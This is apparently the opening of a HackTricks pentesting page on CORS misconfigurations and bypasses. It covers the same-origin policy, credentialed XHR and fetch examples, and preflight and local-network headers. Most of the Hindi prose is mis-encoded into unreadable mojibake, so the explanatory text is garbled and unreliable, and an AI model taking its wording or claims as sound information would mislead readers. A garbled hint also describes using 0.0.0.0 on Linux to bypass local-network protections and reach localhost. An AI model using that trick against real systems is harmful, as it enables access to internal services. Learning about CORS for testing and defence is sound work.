hacktricks/pentesting-web/cors-bypass.md

59 KiB

CORS - Misconfigurations & Bypass

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

{% embed url="https://websec.nl/" %}

What is CORS?

Cross-Origin Resource Sharing (CORS) рдорд╛рдирдХ рд╕рд░реНрд╡рд░реЛрдВ рдХреЛ рдпрд╣ рдкрд░рд┐рднрд╛рд╖рд┐рдд рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИ рдХрд┐ рдХреМрди рдЙрдирдХреЗ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪ рд╕рдХрддрд╛ рд╣реИ рдФрд░ рдХреМрди рд╕реЗ HTTP рдЕрдиреБрд░реЛрдз рд╡рд┐рдзрд┐рдпрд╛рдБ рдмрд╛рд╣рд░реА рд╕реНрд░реЛрддреЛрдВ рд╕реЗ рдЕрдиреБрдордд рд╣реИрдВред

рдПрдХ same-origin рдиреАрддрд┐ рдпрд╣ рдЕрдирд┐рд╡рд╛рд░реНрдп рдХрд░рддреА рд╣реИ рдХрд┐ рдПрдХ рд╕рд░реНрд╡рд░ рдЬреЛ рдПрдХ рд╕рдВрд╕рд╛рдзрди рдХрд╛ рдЕрдиреБрд░реЛрдз рдХрд░ рд░рд╣рд╛ рд╣реИ рдФрд░ рд╡рд╣ рд╕рд░реНрд╡рд░ рдЬреЛ рд╕рдВрд╕рд╛рдзрди рд╣реЛрд╕реНрдЯ рдХрд░ рд░рд╣рд╛ рд╣реИ, рдПрдХ рд╣реА рдкреНрд░реЛрдЯреЛрдХреЙрд▓ (рдЬреИрд╕реЗ, http://), рдбреЛрдореЗрди рдирд╛рдо (рдЬреИрд╕реЗ, internal-web.com), рдФрд░ рдкреЛрд░реНрдЯ (рдЬреИрд╕реЗ, 80) рд╕рд╛рдЭрд╛ рдХрд░реЗрдВред рдЗрд╕ рдиреАрддрд┐ рдХреЗ рддрд╣рдд, рдХреЗрд╡рд▓ рдПрдХ рд╣реА рдбреЛрдореЗрди рдФрд░ рдкреЛрд░реНрдЯ рд╕реЗ рд╡реЗрдм рдкреГрд╖реНрдареЛрдВ рдХреЛ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рддрдХ рдкрд╣реБрдБрдЪрдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред

http://normal-website.com/example/example.html рдХреЗ рд╕рдВрджрд░реНрдн рдореЗрдВ same-origin рдиреАрддрд┐ рдХрд╛ рдЕрдиреБрдкреНрд░рдпреЛрдЧ рдЗрд╕ рдкреНрд░рдХрд╛рд░ рджрд░реНрд╢рд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

URL accessed Access permitted?
http://normal-website.com/example/ рд╣рд╛рдБ: рд╕рдорд╛рди рдпреЛрдЬрдирд╛, рдбреЛрдореЗрди, рдФрд░ рдкреЛрд░реНрдЯ
http://normal-website.com/example2/ рд╣рд╛рдБ: рд╕рдорд╛рди рдпреЛрдЬрдирд╛, рдбреЛрдореЗрди, рдФрд░ рдкреЛрд░реНрдЯ
https://normal-website.com/example/ рдирд╣реАрдВ: рднрд┐рдиреНрди рдпреЛрдЬрдирд╛ рдФрд░ рдкреЛрд░реНрдЯ
http://en.normal-website.com/example/ рдирд╣реАрдВ: рднрд┐рдиреНрди рдбреЛрдореЗрди
http://www.normal-website.com/example/ рдирд╣реАрдВ: рднрд┐рдиреНрди рдбреЛрдореЗрди
http://normal-website.com:8080/example/ рдирд╣реАрдВ: рднрд┐рдиреНрди рдкреЛрд░реНрдЯ*

*Internet Explorer рд╕рдорд╛рди-рдЙрддреНрдкрддреНрддрд┐ рдиреАрддрд┐ рдХреЛ рд▓рд╛рдЧреВ рдХрд░рддреЗ рд╕рдордп рдкреЛрд░реНрдЯ рд╕рдВрдЦреНрдпрд╛ рдХреА рдЕрдирджреЗрдЦреА рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕рд╕реЗ рдпрд╣ рдкрд╣реБрдБрдЪ рдХреА рдЕрдиреБрдорддрд┐ рдорд┐рд▓рддреА рд╣реИред

Access-Control-Allow-Origin Header

рдпрд╣ рд╣реЗрдбрд░ рдХрдИ рдЙрддреНрдкрддреНрддрд┐ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ, рдПрдХ null рдорд╛рди, рдпрд╛ рдПрдХ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб *ред рд╣рд╛рд▓рд╛рдБрдХрд┐, рдХреЛрдИ рднреА рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХрдИ рдЙрддреНрдкрддреНрддрд┐ рдХрд╛ рд╕рдорд░реНрдерди рдирд╣реАрдВ рдХрд░рддрд╛, рдФрд░ рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб * рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕реАрдорд╛рдУрдВ рдХреЗ рдЕрдзреАрди рд╣реИред (рд╡рд╛рдЗрд▓реНрдбрдХрд╛рд░реНрдб рдХреЛ рдЕрдХреЗрд▓реЗ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдП, рдФрд░ Access-Control-Allow-Credentials: true рдХреЗ рд╕рд╛рде рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рдЕрдиреБрдорддрд┐ рдирд╣реАрдВ рд╣реИред)

рдпрд╣ рд╣реЗрдбрд░ рдПрдХ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдЬрд╛рд░реА рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдПрдХ рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рд╕рдВрд╕рд╛рдзрди рдЕрдиреБрд░реЛрдз рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ рдЬреЛ рдПрдХ рд╡реЗрдмрд╕рд╛рдЗрдЯ рджреНрд╡рд╛рд░рд╛ рдЖрд░рдВрдн рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдПрдХ Origin рд╣реЗрдбрд░ рдЬреЛрдбрд╝рддрд╛ рд╣реИред

Access-Control-Allow-Credentials Header

рдбрд┐рдлрд╝реЙрд▓реНрдЯ рд░реВрдк рд╕реЗ, рдХреНрд░реЙрд╕-рдЙрддреНрдкрддреНрддрд┐ рдЕрдиреБрд░реЛрдз рдмрд┐рдирд╛ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рдЬреИрд╕реЗ рдХреБрдХреАрдЬрд╝ рдпрд╛ рдСрдерд░рд╛рдЗрдЬреЗрд╢рди рд╣реЗрдбрд░ рдХреЗ рдХрд┐рдП рдЬрд╛рддреЗ рд╣реИрдВред рдлрд┐рд░ рднреА, рдПрдХ рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рд╕рд░реНрд╡рд░ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рдкрдврд╝рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рджреЗ рд╕рдХрддрд╛ рд╣реИ рдЬрдм рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ рднреЗрдЬреЗ рдЬрд╛рддреЗ рд╣реИрдВ, Access-Control-Allow-Credentials рд╣реЗрдбрд░ рдХреЛ true рд╕реЗрдЯ рдХрд░рдХреЗред

рдпрджрд┐ рдЗрд╕реЗ true рдкрд░ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, рддреЛ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреНрд░реЗрдбреЗрдВрд╢рд┐рдпрд▓реНрд╕ (рдХреБрдХреАрдЬрд╝, рдСрдерд░рд╛рдЗрдЬреЗрд╢рди рд╣реЗрдбрд░, рдпрд╛ TLS рдХреНрд▓рд╛рдЗрдВрдЯ рд╕рд░реНрдЯрд┐рдлрд┐рдХреЗрдЯ) рдХреЛ рдкреНрд░рд╕рд╛рд░рд┐рдд рдХрд░реЗрдЧрд╛ред

var xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
console.log(xhr.responseText);
}
}
xhr.open('GET', 'http://example.com/', true);
xhr.withCredentials = true;
xhr.send(null);
fetch(url, {
credentials: 'include'
})
const xhr = new XMLHttpRequest();
xhr.open('POST', 'https://bar.other/resources/post-here/');
xhr.setRequestHeader('X-PINGOTHER', 'pingpong');
xhr.setRequestHeader('Content-Type', 'application/xml');
xhr.onreadystatechange = handler;
xhr.send('<person><name>Arun</name></person>');

CSRF Pre-flight request

Understanding Pre-flight Requests in Cross-Domain Communication

рдЬрдм рд╡рд┐рд╢реЗрд╖ рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХреЗ рддрд╣рдд рдХреНрд░реЙрд╕-рдбреЛрдореЗрди рдЕрдиреБрд░реЛрдз рд╢реБрд░реВ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреИрд╕реЗ рдХрд┐ рдЧреИрд░-рдорд╛рдирдХ HTTP рд╡рд┐рдзрд┐ (HEAD, GET, POST рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдХреБрдЫ рднреА) рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, рдирдП рд╣реЗрдбрд░ рдкреЗрд╢ рдХрд░рдирд╛, рдпрд╛ рд╡рд┐рд╢реЗрд╖ Content-Type рд╣реЗрдбрд░ рдорд╛рди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛, рддреЛ рдПрдХ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╣реЛ рд╕рдХрддреА рд╣реИред рдпрд╣ рдкреНрд░рд╛рд░рдВрднрд┐рдХ рдЕрдиреБрд░реЛрдз, OPTIONS рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреЗ рд╣реБрдП, рд╕рд░реНрд╡рд░ рдХреЛ рдЖрдЧрд╛рдореА рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рдХреЗ рдЗрд░рд╛рджреЛрдВ рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рд╕реВрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рд╣реИ, рдЬрд┐рд╕рдореЗрдВ HTTP рд╡рд┐рдзрд┐рдпрд╛рдБ рдФрд░ рд╣реЗрдбрд░ рд╢рд╛рдорд┐рд▓ рд╣реИрдВ рдЬрд┐рдирдХрд╛ рд╡рд╣ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХрд╛ рдЗрд░рд╛рджрд╛ рд░рдЦрддрд╛ рд╣реИред

рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рд░рд┐рд╕реЛрд░реНрд╕ рд╢реЗрдпрд░рд┐рдВрдЧ (CORS) рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдЗрд╕ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЬрд╛рдВрдЪ рдХреА рдорд╛рдВрдЧ рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдЕрдиреБрд░реЛрдзрд┐рдд рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдСрдкрд░реЗрд╢рди рдХреА рд╡реНрдпрд╡рд╣рд╛рд░реНрдпрддрд╛ рдХрд╛ рдирд┐рд░реНрдзрд╛рд░рдг рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ, рдЬреЛ рдЕрдиреБрдордд рд╡рд┐рдзрд┐рдпреЛрдВ, рд╣реЗрдбрд░реЛрдВ рдФрд░ рдореВрд▓ рдХреА рд╡рд┐рд╢реНрд╡рд╕рдиреАрдпрддрд╛ рдХреА рдкреБрд╖реНрдЯрд┐ рдХрд░рддрд╛ рд╣реИред рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рд╕реЗ рдмрдЪрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рди рдкрд░рд┐рд╕реНрдерд┐рддрд┐рдпреЛрдВ рдХрд╛ рдкрд╛рд▓рди рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЗрд╕рдХреЗ рд▓рд┐рдП Mozilla Developer Network (MDN) рджреНрд╡рд╛рд░рд╛ рдкреНрд░рджрд╛рди рдХрд┐рдП рдЧрдП рд╡реНрдпрд╛рдкрдХ рдЧрд╛рдЗрдб рдХрд╛ рд╕рдВрджрд░реНрдн рд▓реЗрдВред

рдпрд╣ рдзреНрдпрд╛рди рд░рдЦрдирд╛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╣реИ рдХрд┐ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреА рдЕрдиреБрдкрд╕реНрдерд┐рддрд┐ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд▓рд┐рдП рдкреНрд░рд╛рдзрд┐рдХрд░рдг рд╣реЗрдбрд░ рд▓реЗ рдЬрд╛рдиреЗ рдХреА рдЖрд╡рд╢реНрдпрдХрддрд╛ рдХреЛ рд╕рдорд╛рдкреНрдд рдирд╣реАрдВ рдХрд░рддреА рд╣реИред рдЗрди рд╣реЗрдбрд░реЛрдВ рдХреЗ рдмрд┐рдирд╛, рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рд╕реЗ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЛ рд╕рдВрд╕рд╛рдзрд┐рдд рдХрд░рдиреЗ рдореЗрдВ рдЕрд╕рдорд░реНрде рд╣реИред

PUT рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд╕рд╛рде-рд╕рд╛рде Special-Request-Header рдирд╛рдордХ рдПрдХ рдХрд╕реНрдЯрдо рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХрд╛ рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЪрд┐рддреНрд░рдг рдкрд░ рд╡рд┐рдЪрд╛рд░ рдХрд░реЗрдВ:

OPTIONS /info HTTP/1.1
Host: example2.com
...
Origin: https://example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: Authorization

рдЙрддреНрддрд░ рдореЗрдВ, рд╕рд░реНрд╡рд░ рд╣реЗрдбрд░ рд╡рд╛рдкрд╕ рдХрд░ рд╕рдХрддрд╛ рд╣реИ рдЬреЛ рд╕реНрд╡реАрдХреГрдд рд╡рд┐рдзрд┐рдпреЛрдВ, рдЕрдиреБрдордд рдореВрд▓, рдФрд░ рдЕрдиреНрдп CORS рдиреАрддрд┐ рд╡рд┐рд╡рд░рдгреЛрдВ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддреЗ рд╣реИрдВ, рдЬреИрд╕рд╛ рдХрд┐ рдиреАрдЪреЗ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИ:

HTTP/1.1 204 No Content
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: PUT, POST, OPTIONS
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 240
  • Access-Control-Allow-Headers: рдпрд╣ рд╣реЗрдбрд░ рдпрд╣ рдирд┐рд░реНрджрд┐рд╖реНрдЯ рдХрд░рддрд╛ рд╣реИ рдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдиреБрд░реЛрдз рдХреЗ рджреМрд░рд╛рди рдХреМрди рд╕реЗ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рдЗрд╕реЗ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рд╕реЗ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдЕрдиреБрдордд рд╣реЗрдбрд░ рдХрд╛ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗред
  • Access-Control-Expose-Headers: рдЗрд╕ рд╣реЗрдбрд░ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ, рд╕рд░реНрд╡рд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдХреМрди рд╕реЗ рд╣реЗрдбрд░ рд╕рд░рд▓ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рд╣реЗрдбрд░ рдХреЗ рдЕрд▓рд╛рд╡рд╛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣рд┐рд╕реНрд╕реЗ рдХреЗ рд░реВрдк рдореЗрдВ рдЙрдЬрд╛рдЧрд░ рдХрд┐рдП рдЬрд╛ рд╕рдХрддреЗ рд╣реИрдВред
  • Access-Control-Max-Age: рдпрд╣ рд╣реЗрдбрд░ рдпрд╣ рд╕рдВрдХреЗрдд рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдХреЗ рдкрд░рд┐рдгрд╛рдореЛрдВ рдХреЛ рдХрд┐рддрдиреА рджреЗрд░ рддрдХ рдХреИрд╢ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред рд╕рд░реНрд╡рд░ рдЕрдзрд┐рдХрддрдо рд╕рдордп рд╕реЗрдЯ рдХрд░рддрд╛ рд╣реИ, рд╕реЗрдХрдВрдб рдореЗрдВ, рдХрд┐ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рджреНрд╡рд╛рд░рд╛ рд▓реМрдЯрд╛рдИ рдЧрдИ рдЬрд╛рдирдХрд╛рд░реА рдХреЛ рдХрд┐рддрдиреА рдмрд╛рд░ рдкреБрди: рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИред
  • Access-Control-Request-Headers: рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдпрд╣ рд╣реЗрдбрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рд╕рд░реНрд╡рд░ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдХреНрд▓рд╛рдЗрдВрдЯ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреМрди рд╕реЗ HTTP рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рдирд╛ рдЪрд╛рд╣рддрд╛ рд╣реИред
  • Access-Control-Request-Method: рдпрд╣ рд╣реЗрдбрд░, рдЬреЛ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдзреЛрдВ рдореЗрдВ рднреА рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдХреНрд▓рд╛рдЗрдВрдЯ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рд╡рд╛рд╕реНрддрд╡рд┐рдХ рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреМрди рд╕рд╛ HTTP рд╡рд┐рдзрд┐ рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЬрд╛рдПрдЧрд╛ред
  • Origin: рдпрд╣ рд╣реЗрдбрд░ рд╕реНрд╡рдЪрд╛рд▓рд┐рдд рд░реВрдк рд╕реЗ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рджреНрд╡рд╛рд░рд╛ рд╕реЗрдЯ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдФрд░ рдХреНрд░реЙрд╕-рдУрд░рд┐рдЬрд┐рди рдЕрдиреБрд░реЛрдз рдХреЗ рдореВрд▓ рдХреЛ рдЗрдВрдЧрд┐рдд рдХрд░рддрд╛ рд╣реИред рдЗрд╕рдХрд╛ рдЙрдкрдпреЛрдЧ рд╕рд░реНрд╡рд░ рджреНрд╡рд╛рд░рд╛ рдпрд╣ рдЖрдХрд▓рди рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рдХрд┐ рдХреНрдпрд╛ рдЖрдиреЗ рд╡рд╛рд▓реЗ рдЕрдиреБрд░реЛрдз рдХреЛ CORS рдиреАрддрд┐ рдХреЗ рдЖрдзрд╛рд░ рдкрд░ рдЕрдиреБрдорддрд┐ рджреА рдЬрд╛рдиреА рдЪрд╛рд╣рд┐рдП рдпрд╛ рдЕрд╕реНрд╡реАрдХреГрдд рдХрд┐рдпрд╛ рдЬрд╛рдирд╛ рдЪрд╛рд╣рд┐рдПред

рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рдЖрдорддреМрд░ рдкрд░ (рд╕рд╛рдордЧреНрд░реА-рдкреНрд░рдХрд╛рд░ рдФрд░ рд╕реЗрдЯ рдХрд┐рдП рдЧрдП рд╣реЗрдбрд░ рдХреЗ рдЖрдзрд╛рд░ рдкрд░) рдПрдХ GET/POST рдЕрдиреБрд░реЛрдз рдореЗрдВ рдХреЛрдИ рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз рдирд╣реАрдВ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ (рдЕрдиреБрд░реЛрдз рдкреНрд░рддреНрдпрдХреНрд╖ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ), рд▓реЗрдХрд┐рди рдпрджрд┐ рдЖрдк рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдХреЗ рд╣реЗрдбрд░/рд╢рд░реАрд░ рддрдХ рдкрд╣реБрдВрдЪрдирд╛ рдЪрд╛рд╣рддреЗ рд╣реИрдВ, рддреЛ рдЗрд╕рдореЗрдВ Access-Control-Allow-Origin рд╣реЗрдбрд░ рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП рдЬреЛ рдЗрд╕рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддрд╛ рд╣реИред
рдЗрд╕рд▓рд┐рдП, CORS CSRF рдХреЗ рдЦрд┐рд▓рд╛рдл рд╕реБрд░рдХреНрд╖рд╛ рдирд╣реАрдВ рдХрд░рддрд╛ (рд▓реЗрдХрд┐рди рдпрд╣ рд╕рд╣рд╛рдпрдХ рд╣реЛ рд╕рдХрддрд╛ рд╣реИ)ред

рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рдкреНрд░реА-рдлреНрд▓рд╛рдЗрдЯ рдЕрдиреБрд░реЛрдз

  1. Access-Control-Request-Local-Network: рдпрд╣ рд╣реЗрдбрд░ рдХреНрд▓рд╛рдЗрдВрдЯ рдХреЗ рдЕрдиреБрд░реЛрдз рдореЗрдВ рд╢рд╛рдорд┐рд▓ рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ рддрд╛рдХрд┐ рдпрд╣ рд╕рдВрдХреЗрдд рджрд┐рдпрд╛ рдЬрд╛ рд╕рдХреЗ рдХрд┐ рдкреВрдЫрддрд╛рдЫ рдПрдХ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рд╕рдВрд╕рд╛рдзрди рдХреЗ рд▓рд┐рдП рд╣реИред рдпрд╣ рд╕рд░реНрд╡рд░ рдХреЛ рд╕реВрдЪрд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рдорд╛рд░реНрдХрд░ рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ рдХрд┐ рдЕрдиреБрд░реЛрдз рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рднреАрддрд░ рд╕реЗ рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИред
  2. Access-Control-Allow-Local-Network: рдЗрд╕рдХреЗ рдЬрд╡рд╛рдм рдореЗрдВ, рд╕рд░реНрд╡рд░ рдЗрд╕ рд╣реЗрдбрд░ рдХрд╛ рдЙрдкрдпреЛрдЧ рдпрд╣ рд╕рдВрдкреНрд░реЗрд╖рд┐рдд рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд░рддреЗ рд╣реИрдВ рдХрд┐ рдЕрдиреБрд░реЛрдзрд┐рдд рд╕рдВрд╕рд╛рдзрди рдХреЛ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдХреЗ рдмрд╛рд╣рд░ рдХреА рд╕рдВрд╕реНрдерд╛рдУрдВ рдХреЗ рд╕рд╛рде рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреА рдЕрдиреБрдорддрд┐ рд╣реИред рдпрд╣ рд╡рд┐рднрд┐рдиреНрди рдиреЗрдЯрд╡рд░реНрдХ рд╕реАрдорд╛рдУрдВ рдХреЗ рдкрд╛рд░ рд╕рдВрд╕рд╛рдзрдиреЛрдВ рдХреЛ рд╕рд╛рдЭрд╛ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдПрдХ рд╣рд░реА рдмрддреНрддреА рдХреЗ рд░реВрдк рдореЗрдВ рдХрд╛рд░реНрдп рдХрд░рддрд╛ рд╣реИ, рдЬрдмрдХрд┐ рд╕реБрд░рдХреНрд╖рд╛ рдкреНрд░реЛрдЯреЛрдХреЙрд▓ рдХреЛ рдмрдирд╛рдП рд░рдЦрддреЗ рд╣реБрдП рдирд┐рдпрдВрддреНрд░рд┐рдд рдкрд╣реБрдВрдЪ рд╕реБрдирд┐рд╢реНрдЪрд┐рдд рдХрд░рддрд╛ рд╣реИред

рдПрдХ рдорд╛рдиреНрдп рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдЬреЛ рд╕реНрдерд╛рдиреАрдп рдиреЗрдЯрд╡рд░реНрдХ рдЕрдиреБрд░реЛрдз рдХреА рдЕрдиреБрдорддрд┐ рджреЗрддреА рд╣реИ рдХреЛ рдкреНрд░рддрд┐рдХреНрд░рд┐рдпрд╛ рдореЗрдВ рд╣реЗрдбрд░ Access-Controls-Allow-Local_network: true рднреА рд╣реЛрдирд╛ рдЪрд╛рд╣рд┐рдП:

HTTP/1.1 200 OK
...
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET
Access-Control-Allow-Credentials: true
Access-Control-Allow-Local-Network: true
Content-Length: 0
...

{% hint style="warning" %} рдзреНрдпрд╛рди рджреЗрдВ рдХрд┐ рд▓рд┐рдирдХреНрд╕ 0.0.0.0 рдЖрдИрдкреА рдЗрди рдЖрд╡рд╢реНрдпрдХрддрд╛рдУрдВ рдХреЛ рдмрд╛рдпрдкрд╛рд╕ рдХрд░рдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╛рдо рдХрд░рддрд╛ рд╣реИ рддрд╛рдХрд┐ localhost рддрдХ рдкрд╣реБрдВрдЪрд╛ рдЬрд╛ рд╕рдХреЗ рдХреНрдпреЛрдВрдХрд┐ рдЙрд╕ рдЖрдИрдкреА рдкрддреЗ рдХреЛ "рд╕реНрдерд╛рдиреАрдп" рдирд╣реАрдВ рдорд╛рдирд╛ рдЬрд╛рддрд╛ рд╣реИред

